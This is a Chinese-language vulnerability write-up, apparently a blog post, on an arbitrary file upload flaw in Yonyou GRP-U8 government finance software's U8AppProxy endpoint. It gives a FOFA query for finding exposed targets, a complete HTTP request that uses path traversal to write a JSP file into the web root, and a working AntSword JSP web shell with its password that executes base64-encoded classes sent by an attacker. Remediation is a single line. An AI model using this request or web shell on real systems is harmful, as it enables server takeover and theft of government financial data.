用友GRP-U8 U8AppProxy任意文件上传漏洞复现+利用

1、漏洞概述

     用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域专业的财务管理软件。用友 GRP-U8 U8AppProxy接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限。

2、影响范围

   用友GRP-U8行政事业内控管理软件(新政府会计制度专版)

3、复现环境

 FOFA:title="用友GRP-U8行政事业内控管理软件"

97749a76bf544b4c86f3a2d9aad16dde.png

 4、漏洞复现

 访问漏洞环境,burp抓包发送Repeter模块进行复现

2d5c867b6c7d40b4b20bd5bdcab131dc.png

 

cd784c85ce904903acbb3b794e556669.png

 POC

POST /U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../yongyouU8_test HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=635F2271089E7A7E66F3F84824553DEE
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 01 Feb 2016 08:01:00 GMT
If-None-Match: W/"5732-1454313660000"
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

<% out.println("yongyouu8");%>
--59229605f98b8cf290a7b8908b34616b--

写入jsp到站点根目录,jsp内容是输出 "yongyouu8" 

8ba654a8a3974a15848a3d53d6ff2864.png访问yongyouU8_test.jsp,得到写入内容 

/yongyouU8_test.jsp

650ab749b22d4b3c987a2a52322e8484.png

 5、漏洞利用

   写入蚁剑jsp一句话木马,密码是passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

9baff475a25c441684c6325c4dbf3856.png

测试连接

9044b28ace8a47d29010e0f35028b633.png 6、修复建议

     升级至安全版本。